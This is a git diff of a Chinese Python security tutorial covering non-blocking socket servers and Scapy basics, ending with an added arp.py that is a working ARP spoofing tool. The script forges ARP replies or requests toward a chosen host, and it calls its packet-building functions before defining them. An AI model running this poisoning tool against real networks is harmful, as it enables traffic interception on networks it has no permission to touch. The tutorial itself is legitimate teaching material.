\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213.md" new file mode 100644 index 0000000..324d13e --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213.md" @@ -0,0 +1,328 @@ +## 3.3 多连接、非阻塞的服务端、客户端编程 + +上一节我们在基本的客户端和服务端编程模型基础上,实现了一个简单的木马。多客户端同时连接服务端的场景下,处理起来要复杂得多,通常的解决方案是利用多线程或者多进程来解决并发问题,但是编程难度成倍提升。在Python中我们还有一个折中的选择就是selectors模块,该模块基于Unix经典的select系统调用模型,它可以监听I/O操作的结果以实现异步调用,基于此种方案可以同时挂起多个socket连接,根据读写状态进行回调。内部原理我们在本系列文章中不做过多解释,同学们掌握基本用法即可。模块参考:https://docs.python.org/3/library/selectors.html。 + +同时在数据收发上,可能会出现“粘包”的情况,需要自定义数据封包协议来解决这样的问题。 + +``` +什么是粘包? + +1.发送端为了将多个发往接收端的包,更有效的发到对方,使用了优化方法(Nagle算法),将多次间隔较小、数据量小的数据包,合并成一个大的数据包发送(把发送端的缓冲区填满一次性发送)。 + +2接收端底层会把tcp段整理排序交给缓冲区,这样接收端应用程序从缓冲区取数据就只能得到整体数据而不知道怎么拆分 + +比如发送端发送了一个由2个100字节组成的200字节的数据包到接受端的缓冲区,接受端从缓冲去一次取80字节的数据,那么第一次取的就是一个不完整的数据包,第二次取就会带上第一个数据包的尾部和下一个数据包的头部数据。 + +``` + +下面我们开始基于selectors构建服务端和客户端。 + +### 3.3.1 服务端编程 + +首先创建server.py 文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors#导入selectors模块 + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + self.selector = selectors.DefaultSelector()#初始化selector + + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port)) + s.listen() + print('等待监听:',(self.ip,self.port)) + s.setblocking(False) # 非阻塞 + self.selector.register(s,selectors.EVENT_READ,None)#注册I/O对象 + + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() + + +if __name__ == '__main__': + s = server('',8800) + s.start() +``` + +上面的代码和3.1,3.2节略有差异,基本的socket初始化、绑定、监听都是一致的,不再重复讲解。注意代码中四处添加注释的地方: + +1. +```Python +import selectors#导入selectors模块 +``` +导入selectors模块 + +2. +```Python +self.selector = selectors.DefaultSelector()#初始化selector +``` +初始化selector有多种方法,我们选择最简单的一种方案,直接调用DefaultSelector()方法。 + +3. +```Python +s.setblocking(False) # 非阻塞 +``` +这一步很关键,调用之后,socket调用将不再阻塞当前程序。 + +4. + +```Python + self.selector.register(s,selectors.EVENT_READ,data=None)#注册I/O对象 +``` +注册s到selector中,监听事件为selectors.EVENT_READ,通过监听该事件,服务端socket接收到新连接请求会被selector捕获到。data参数用来存储socket中的数据,当 select() 返回的时候它也会被返回。我们将使用 data 来跟踪 socket 上发送或者接收的数据。 + +监听数据收发,需要建立一个while...true循环,不停的询问各个连接的状态,目前我们只注册了一个服务端socket,下面我们在循环中获取新的客户端连接并注册到selector中。继续完善start方法: + +```Python + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port)) + s.listen() + print('等待监听:',(self.ip,self.port)) + s.setblocking(False) # 非阻塞 + self.selector.register(s,selectors.EVENT_READ,None)#注册I/O对象 + while True: + events = self.selector.select(timeout=None)#阻塞调用,等待新的读/写事件 + for key, mask in events: + if key.data is None:#新的连接请求 + self.accept_wrapper(key.fileobj) + else:#收到客户端连接发送的数据 + self.service_connection(key, mask) + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + def accept_wrapper(self,sock): + pass + + def service_connection(self,key, mask): + pass +``` +sel.select(timeout=None) 调用会阻塞直到新的消息进来。它返回一个(key, events) 元组,每个 socket 一个。key 就是一个包含 fileobj 属性的具名元组。key.fileobj 是一个 socket 对象,mask 表示一个操作就绪的事件掩码。 + +如果key.data为空,我们就可以知道它来自于监听服务端的socket(代码中的s),我们需要调用 accept()方法来授受连接请求。这里我们将定义一个新的accept_wrapper方法来处理请求并注册到selector中。 +如果key.data不为空,那它一定是一个已经被接收的客户端socket,我们定义一个新的service_connection(key, mask)方法来处理收据的收发。 + +accept_wrapper()方法内容如下: + +```Python +def accept_wrapper(self,sock): + conn, addr = sock.accept() # Should be ready to read + print('接收客户端连接', addr) + conn.setblocking(False) #非阻塞 + data = types.SimpleNamespace(addr=addr, inb=b'', outb=b'')#socket数据 + events = selectors.EVENT_READ | selectors.EVENT_WRITE #监听读写 + self.selector.register(conn, events, data=data)#注册客户端socket +``` + +上面的代码中,我们调用types.SimpleNamespace来创建一个动态对象,保存我们需要的信息,这里定义了addr(ip地址)、inb(传入数据)、outb(传出数据)三个字段。接下来注册的事件选择读和写,可以在循环中获取连接的可读、可写状态。 + +下面我们来看一下service_connection方法的内部逻辑: + +```Python +def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) # 接收数据 + if recv_data: + data.outb += recv_data + else:#客户端断开连接 + print('closing connection to', data.addr) + self.selector.unregister(sock)#取消注册,防止出错 + sock.close() + if mask & selectors.EVENT_WRITE: + if data.outb: + print('echoing', repr(data.outb), 'to', data.addr) + sent = sock.send(data.outb) + data.outb = data.outb[sent:] #情况缓存数据 +``` +这里是多连接服务端的核心部分,key是select()方法返回的一个元组,它包含了socket对象「fileobj」和数据对象;mask包含了获取状态的类型。 +```Python +if mask & selectors.EVENT_READ +``` + +如果socket就绪而且可以被读取,mask & selectors.EVENT_READ 就为真,就调用sock.recv()接收客户端发送过来的数据。所有读取到的数据都会被追加到data.outb里面,作为测试data.outb随后被发送回客户端。如果没有接收到数据,证明客户端已经断开连接,这里除了要调用sock.close()关闭连接之外,还要调用selector.unregister方法进行注销。 + +随后,判断当前socket处于可写状态的话,就会调用sock.send发送数据,发送之后清空缓存数据。 + +服务端程序基本完成,下面继续编写客户端程序。 + +### 3.3.2 客户端编程 + +新建client.py 文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors +import types + +# 测试类 + + +class Client: + def __init__(self, host, port, numConn): + self.host = host # 待连接的远程主机的域名 + self.port = port + self.message = [b'message 1 from client', b'message 1 from client'] + self.numConn = numConn + self.selector = selectors.DefaultSelector() + + def connet(self): # 连接方法 + server_addr = (self.host, self.port) + for i in range(0, self.numConn): + connid = i + 1 + print('开始连接', connid, '到', server_addr) + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setblocking(False) + sock.connect_ex(server_addr)#连接服务端 + events = selectors.EVENT_READ | selectors.EVENT_WRITE + data = types.SimpleNamespace(connid=connid, + msg_total=sum(len(m) for m in self.message), + recv_total=0, + messages=list(self.message), + outb=b'') + self.selector.register(sock, events, data=data) + + try: + while True: + events = self.selector.select(timeout=1) + if events: + for key, mask in events: + self.service_connection(key, mask) + + finally: + self.selector.close() + + def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) + if recv_data: + print("收到", repr(recv_data), "来自连接", data.connid) + data.recv_total += len(recv_data) + if not recv_data or data.recv_total == data.msg_total:#根据接收数据的长度,判断是否关闭客户端 + print("关闭连接:", data.connid) + self.selector.unregister(sock) + sock.close() + if mask & selectors.EVENT_WRITE: + if not data.outb and data.messages: + data.outb = data.messages.pop(0) + if data.outb: + print("发送", repr(data.outb), "到连接", data.connid) + sent = sock.send(data.outb) #发送数据 + data.outb = data.outb[sent:]#清空数据 + + + +if __name__ == '__main__': + cl = Client('127.0.0.1', 8800, 5) + cl.connet() +``` +客户端代码涉及到的知识点和和服务端基本相同。在连接服务端的时候,由于connect()方法会立即触发一个 BlockingIOError异常,所以我们使用connect_ex()方法取代它。connect_ex()会返回一个错误指示 errno.EINPROGRESS,不像connect()方法直接在进程中返回异常。一旦连接成功socket就可以进行读写并且通过select()方法返回。 + +在service_connection方法中客户端会跟踪从服务器接收的字节数,根据结果来决定是否关闭socket连接。 + +### 3.3.3 测试服务端和客户端 + +下面我首先启动服务端: + +![](img/1.png) + +再启动客户端: + +![](img/2.png) + +对应的服务端打印数据为: + +![](img/3.png) + +### 3.3.4 还有哪些问题需要解决? + +当使用 TCP 连接时,会从一个连续的字节流读取的数据,好比从磁盘上读取数据,不同的是你是从网络读取字节流。然而,和使用 f.seek() 读文件不同,没法定位 socket 的数据流的位置,如果可以像文件一样定位数据流的位置(使用下标),那你就可以随意的读取你想要的数据。当字节流入你的 socket 时,会需要有不同的网络缓冲区,如果想读取他们就必须先保存到其它地方,使用 recv() 方法持续的从 socket 上读取可用的字节流相当于从 socket 中读取的是一块一块的数据,你必须使用 recv() 方法不断的从缓冲区中读取数据,直到你的应用确定读取到了足够的数据。 + +什么时候算“足够”这取决于你的定义,就 TCP socket 而言,它只通过网络发送或接收原始字节,它并不了解这些原始字节的含义。 + +这可以让我们定义一个应用层协议,来解决这个问题,类似于HTTP协议。简单来说,你的应用会发送或者接收消息,这些消息其实就是你的应用程序的协议。这些消息的长度、格式可以定义应用程序的语义和行为,这和我们之前说的从socket 中读取字节部分内容相关,当你使用 recv() 来读取字节的时候,你需要知道读的字节数,并且决定什么时候算读取完成。这些都是怎么完成的呢?在每条消息前面追加一个头信息,头信息中包括消息的长度和其它我们需要的字段。这样做的话我们只需要追踪头信息,当我们读到头信息时,就可以查到消息的长度并且读出所有字节。 + + +让我们来定义一个完整的协议头: + +1. 可变长度的文本 +2. 基于 UTF-8 编码的 Unicode 字符集 +3. 使用 JSON 序列化的一个 Python 字典 + +其中必须具有的头应该有以下几个: + +![](img/4.png) + +这些头信息告诉接收者消息数据,这样的话你就可以通过提供给接收者足够的信息让他接收到数据的时候正确的解码的方式向它发送任何数据,由于头信息是字典格式,你可以随意向头信息中添加键值对。 + +不过还有一个问题,由于我们使用了变长的头信息,虽然方便扩展但是当你使用 recv() 方法读取消息的时候怎么知道头信息的长度呢? + +我们前面讲到过使用 recv() 接收数据和如何确定是否接收完成,我说过定长的头可能会很低效,的确如此。但是我们将使用一个比较小的 2 字节定长的头信息前缀来表示头信息的长度。 +为了给你更好地解释消息格式,让我们来看看消息的全貌: + +![](img/5.png) + +消息以 2字节的固定长度的头开始,这两个字节是整型的网络字节序列,表示下面的变长 JSON 头信息的长度,当我们从 recv() 方法读取到 2 个字节时就知道它表示的是头信息长度的整形数字,然后在解码 JSON 头之前读取固定长度的字节数。JSON 头包含了头信息的字典。其中一个就是 content-length,这表示消息内容的数量(不是JSON头),当我们使用 recv() 方法读取到了 content-length 个字节的数据时,就表示接收完成并且读取到了完整的消息。 + +另外数据传输还涉及大小端的问题,不同的CPU架构处理网络传输数据的字节顺序是不一样的,下面引用维基百科的解释: +``` +字节顺序,又称端序或尾序(英语:Endianness),在计算机科学领域中,指存储器中或在数字通信链路中,组成多字节的字的字节的排列顺序。 + +在几乎所有的机器上,多字节对象都被存储为连续的字节序列。例如在C语言中,一个类型为int的变量x地址为0x100,那么其对应地址表达式&x的值为0x100。且x的四个字节将被存储在存储器的0x100, 0x101, 0x102, 0x103位置。[1] + +字节的排列方式有两个通用规则。例如,一个多位的整数,按照存储地址从低到高排序的字节中,如果该整数的最低有效字节(类似于最低有效位)在最高有效字节的前面,则称大端序;反之则称小端序。在网络应用中,字节序是一个必须被考虑的因素,因为不同机器类型可能采用不同标准的字节序,所以均按照网络标准转化。 + +例如假设上述变量x类型为int,位于地址0x100处,它的值为0x01234567,地址范围为0x100~0x103字节,其内部排列顺序依赖于机器的类型。大端法从首位开始将是:0x100: 01, 0x101: 23,..。而小端法将是:0x100: 67, 0x101: 45,.. +``` + +在小端机器上执行 +``` +$ python3 -c 'import sys; print(repr(sys.byteorder))' +'little' +``` +可以得到’little'的结果。如果我把这段代码跑在可以模拟大字节序 CPU「PowerPC」的虚拟机上的话,应该是下面的结果: +``` +$ python3 -c 'import sys; print(repr(sys.byteorder))' +'big' +``` +如果不想处理字节序的问题,可以通过传输unicode编码的数据来规避,比如我们使用的UTF-8编码。 + +### 3.3.5 小结 + +本节学习了基于selectors模块,结合while...true实现事件循环,最终实现多连接非阻塞的客户端/服务端程序的编写。对于TCP数据传输“粘包”的问题没有给出代码实现,但是给出了自定义协议的解决方案。本节的作业如下: + +1. 将自定义协议的方案整合到客户端和服务端中,实现发送任意长度的数据 + +下一节我们学习网络工具包Scapy的基本使用。 + + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) diff --git a/3.3.pdf b/3.3.pdf new file mode 100644 index 0000000..6c84c0e Binary files /dev/null and b/3.3.pdf differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/3.4.pdf" "b/3.4 Scapy\345\237\272\347\241\200/3.4.pdf" new file mode 100644 index 0000000..a2f6a3d Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/3.4.pdf" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/Scapy\345\237\272\347\241\200.md" "b/3.4 Scapy\345\237\272\347\241\200/Scapy\345\237\272\347\241\200.md" new file mode 100644 index 0000000..8020e8f --- /dev/null +++ "b/3.4 Scapy\345\237\272\347\241\200/Scapy\345\237\272\347\241\200.md" @@ -0,0 +1,149 @@ +## 3.4 Scapy基础 + +Scapy是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。它可以很容易地处理一些典型操作,比如端口扫描,tracerouting,探测,单元 测试,攻击或网络发现(可替代hping,NMAP,arpspoof,ARP-SK,arping,tcpdump,tethereal,P0F等)。 最重要的他还有很多更优秀的特性——发送无效数据帧、注入修改的802.11数据帧、在WEP上解码加密通道(VOIP)、ARP缓存攻击(VLAN)等,这也是其他工具无法处理完成的。 + +本章的大部分工具开发都是基于Scapy来开发的,所以各位同学务必熟悉Scapy的基本使用方法。 + +Scapy可以通过命令行和Python调用两种方式来进行使用。在使用之前请确保已经安装Scapy。 + +### 3.4.1 Scapy安装 + +通过命令 + +```shell +pip3 install scapy +``` +来安装scapy。 + +![](img/1.png) + +安装之后可以在终端启动。因为发送数据包需要root权限,所以使用sudo启动。 + +![](img/2.png) + +注意上图中的INFO信息,如果没有安装可选包,部分功能不可用,在需要的时候单独安装即可。 + +### 3.4.2 基本命令 + +ls()显示scapy支持的所有协议。 + +![](img/3.png) + +这个命令足以体现Scapy的强大,上百种网络协议,直接秒杀其他工具。ls()函数的参数还可以是上面支持的协议中的任意一个的类型属性,也可以是任何一个具体的数据包,如ls(TCP),ls(newpacket)等。输入ls(TCP)会显示TCP方法构造对象的内容属性。 + +![](img/4.png) + +lsc()列出scapy支持的所有的命令。 + +![](img/5.png) + +help()显示某一命令的使用帮助,如help(sniff)。 + +![](img/6.png) + +show()显示指定数据包的详细信息。例如,这里我们先创建一个IP数据包,然后调用show方法。 + +![](img/7.png) + +### 3.4.3 综合练习 + +下面我们通过几个小例子,来加深对Scapy的理解。 + +我们可以使用Scapy来构造从数据链路层到应用层的任一层的数据包,需要各位同学参考不同协议的报文格式来练习。下面我构造一个IP数据包,先使用ls命令显示IP命令的参数。 + +![](img/8.png) + +每个字段是和IP协议一一对应的如下图: + +![](img/9.png) + +构造其他协议的数据包类似,只需要传入我们想要设置的值就可以了,返回的数据包对象可以再次修改。例如: + +![](img/10.png) + + +因为网络数据包是层层包裹的,根据情况需要,也需要我们构建不同层的数据报文然后组合起来发送出去。使用"/"可以组合不同层的报文。 比如下面wireshark捕获的一个https报文: + +![](img/11.png) + +如果想从数据链路层将数据发送出去,就需要构造以太网帧数据,IP数据报文和TCP报文,并将三者组合起来发送出去。看下面的示例: + +![](img/12.png) +上图中我们使用了hexdump()函数, 使用hexdump()函数会以经典的hexdump格式输出数据包。 + +发送数据包可以使用的方法有两个send()和sendp()。send()函数将会在第3层发送数据包,也就是说它会为你处理路由和第2层的数据。sendp()函数将会工作在第2层。我们可以根据实际情况来决定使用哪个方法来发送数据。使用方法如下: + +![](img/13.png) + +如果想要发送数据之后等待响应,可以使用sr()、sr1()或者srp()方法。sr()函数是用来发送数据包和接收应答。该函数返回一对数据包及其应答,还有无应答的数据包。sr1()函数是一种变体,用来返回一个应答数据包。发送的数据包必须是第3层报文(IP,ARP等)。srp()则是使用第2层报文(以太网,802.3等)。下面发送一个DNS查询的报文出去,接收查询结果。 + +![](img/14.png) + +注意上图中我们使用了DNS()方法帮助构造应用层(DNS)的报文内容。 + +实际上接收的数据返回两个列表,第一个就是发送的数据包及其应答组成的列表,第二个是无应答数据包组成的列表。为了更好地呈现它们,它们被封装成一个对象,并且提供了一些便于操作的方法。 下面我们实现一个简单的SYN端口扫描: + +![](img/15.png) + +通常我们需要将数据包文件导出为pcap文件备用,需要的时候再导入,方法如下: + +![](img/16.png) + +使用str()函数可以将整个数据包转换成十六进制字符串: + +![](img/17.png) + +使用export_object()函数,Scapy可以数据包转换成base64编码的Python数据结构: + +![](img/18.png) + +除此之外,如果您已经安装PyX,您可以做一个数据包的图形PostScript/ PDF转储,完整的输出命令列表如下: + +![](img/19.png) + +输出pdf示例如下: + +![](img/20.png) + +### 3.4.4 在Python中使用Scapy + +在Python中调用Scapy很简单,只需要导入模块即可。 + +新建useScapy.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import sys +from scapy.all import * + +p=sr1(IP(dst='192.168.1.1')/ICMP()) +if p: + p.show() +``` + +结果如下: + +![](img/21.png) + +### 3.4.5 小结 + +本节作为后面几个小节的前置知识,介绍了Scapy工具包的基本使用,更多的功能会在后面的章节继续介绍,同时建议各位同学阅读官方文档,全面了解。本节作业如下: + +1. 安装Scapy +2. 属性基本的命令操作 +3. 在Python中进行调用,实现ARP数据包的发送 + + +下一节我们下沉到网络接口层,实现ARP欺骗工具。 + + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) \ No newline at end of file diff --git "a/3.4 Scapy\345\237\272\347\241\200/code/useScapy.py" "b/3.4 Scapy\345\237\272\347\241\200/code/useScapy.py" new file mode 100644 index 0000000..38aacaf --- /dev/null +++ "b/3.4 Scapy\345\237\272\347\241\200/code/useScapy.py" @@ -0,0 +1,10 @@ +# -*- coding: UTF-8 -*- + +import sys +from scapy.all import * + +p=sr1(IP(dst='192.168.1.1')/ICMP()) +if p: + p.show() + + diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/0.jpg" "b/3.4 Scapy\345\237\272\347\241\200/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/0.jpg" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/00.jpeg" "b/3.4 Scapy\345\237\272\347\241\200/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/00.jpeg" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/1.png" "b/3.4 Scapy\345\237\272\347\241\200/img/1.png" new file mode 100644 index 0000000..4125e38 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/1.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/10.png" "b/3.4 Scapy\345\237\272\347\241\200/img/10.png" new file mode 100644 index 0000000..7505bfd Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/10.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/11.png" "b/3.4 Scapy\345\237\272\347\241\200/img/11.png" new file mode 100644 index 0000000..f0b9ea0 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/11.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/12.png" "b/3.4 Scapy\345\237\272\347\241\200/img/12.png" new file mode 100644 index 0000000..25bd5c8 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/12.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/13.png" "b/3.4 Scapy\345\237\272\347\241\200/img/13.png" new file mode 100644 index 0000000..3eea794 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/13.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/14.png" "b/3.4 Scapy\345\237\272\347\241\200/img/14.png" new file mode 100644 index 0000000..a3ff851 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/14.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/15.png" "b/3.4 Scapy\345\237\272\347\241\200/img/15.png" new file mode 100644 index 0000000..de19856 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/15.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/16.png" "b/3.4 Scapy\345\237\272\347\241\200/img/16.png" new file mode 100644 index 0000000..25a08ba Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/16.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/17.png" "b/3.4 Scapy\345\237\272\347\241\200/img/17.png" new file mode 100644 index 0000000..8ce84ac Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/17.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/18.png" "b/3.4 Scapy\345\237\272\347\241\200/img/18.png" new file mode 100644 index 0000000..62f3289 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/18.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/19.png" "b/3.4 Scapy\345\237\272\347\241\200/img/19.png" new file mode 100644 index 0000000..6875909 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/19.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/2.png" "b/3.4 Scapy\345\237\272\347\241\200/img/2.png" new file mode 100644 index 0000000..a47a677 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/2.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/20.png" "b/3.4 Scapy\345\237\272\347\241\200/img/20.png" new file mode 100644 index 0000000..667007e Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/20.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/21.png" "b/3.4 Scapy\345\237\272\347\241\200/img/21.png" new file mode 100644 index 0000000..d7d4dee Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/21.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/3.png" "b/3.4 Scapy\345\237\272\347\241\200/img/3.png" new file mode 100644 index 0000000..ca4095b Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/3.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/4.png" "b/3.4 Scapy\345\237\272\347\241\200/img/4.png" new file mode 100644 index 0000000..2278dac Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/4.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/5.png" "b/3.4 Scapy\345\237\272\347\241\200/img/5.png" new file mode 100644 index 0000000..dee2f08 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/5.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/6.png" "b/3.4 Scapy\345\237\272\347\241\200/img/6.png" new file mode 100644 index 0000000..0115693 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/6.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/7.png" "b/3.4 Scapy\345\237\272\347\241\200/img/7.png" new file mode 100644 index 0000000..ca7df56 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/7.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/8.png" "b/3.4 Scapy\345\237\272\347\241\200/img/8.png" new file mode 100644 index 0000000..7de98a7 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/8.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/9.png" "b/3.4 Scapy\345\237\272\347\241\200/img/9.png" new file mode 100644 index 0000000..a001940 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/9.png" differ diff --git a/3.4.pdf b/3.4.pdf new file mode 100644 index 0000000..a2f6a3d Binary files /dev/null and b/3.4.pdf differ diff --git "a/3.5 ARP\346\254\272\351\252\227/3.5.pdf" "b/3.5 ARP\346\254\272\351\252\227/3.5.pdf" new file mode 100644 index 0000000..da493ec Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/3.5.pdf" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/code/arp.py" "b/3.5 ARP\346\254\272\351\252\227/code/arp.py" new file mode 100644 index 0000000..a93186f --- /dev/null +++ "b/3.5 ARP\346\254\272\351\252\227/code/arp.py" @@ -0,0 +1,77 @@ +# -*- coding: UTF-8 -*- +import sys +import os +import time +from optparse import OptionParser +from scapy.all import ( + get_if_hwaddr, + getmacbyip, + ARP, + Ether, + sendp +) + +def main(): + try: + if os.geteuid() != 0: + print("[-] 请以root权限运行本程序") + sys.exit(1) + except Exception as msg: + print(msg) + + usage = 'Usage: %prog [-i interface] [-t target] host' + parser = OptionParser(usage) + parser.add_option('-i', dest='interface', help='请指定网卡') + parser.add_option('-t', dest='target', help='请指定要欺骗的目标主机') + parser.add_option('-m', dest='mode', default='req', help='毒化模式: requests (req) or replies (rep) [default: %default]') + parser.add_option('-s', action='store_true', dest='summary', default=False, help='显示数据包发送信息') + (options, args) = parser.parse_args() + print + if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) + mac = get_if_hwaddr(options.interface) + print('本机mac地址是%s' %mac) + + if options.mode == 'req': + pkt = build_req() + elif options.mode == 'rep': + pkt = build_rep() + + if options.summary is True: + pkt.show() + ans = input('\n[*] 是否继续? [Y|n]: ').lower() + if ans == 'y' or len(ans) == 0: + pass + else: + sys.exit(0) + + def build_req():#构造请求数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标ip的mac地址") + sys.exit(1) + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) + return pkt + + def build_rep():#构造响应数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标mac地址") + sys.exit(1) + + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) + + return pkt + + while True:#发送 + sendp(pkt, inter=2, iface=options.interface) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git "a/3.5 ARP\346\254\272\351\252\227/img/0.jpg" "b/3.5 ARP\346\254\272\351\252\227/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/0.jpg" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/00.jpeg" "b/3.5 ARP\346\254\272\351\252\227/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/00.jpeg" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/1.jpg" "b/3.5 ARP\346\254\272\351\252\227/img/1.jpg" new file mode 100644 index 0000000..48c1677 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/1.jpg" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/10.png" "b/3.5 ARP\346\254\272\351\252\227/img/10.png" new file mode 100644 index 0000000..b5ab954 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/10.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/11.png" "b/3.5 ARP\346\254\272\351\252\227/img/11.png" new file mode 100644 index 0000000..0abea32 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/11.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/12.png" "b/3.5 ARP\346\254\272\351\252\227/img/12.png" new file mode 100644 index 0000000..e4fd1fe Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/12.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/13.png" "b/3.5 ARP\346\254\272\351\252\227/img/13.png" new file mode 100644 index 0000000..fdc504f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/13.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/14.png" "b/3.5 ARP\346\254\272\351\252\227/img/14.png" new file mode 100644 index 0000000..5b2a33f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/14.png" differ diff --git "a/3.5 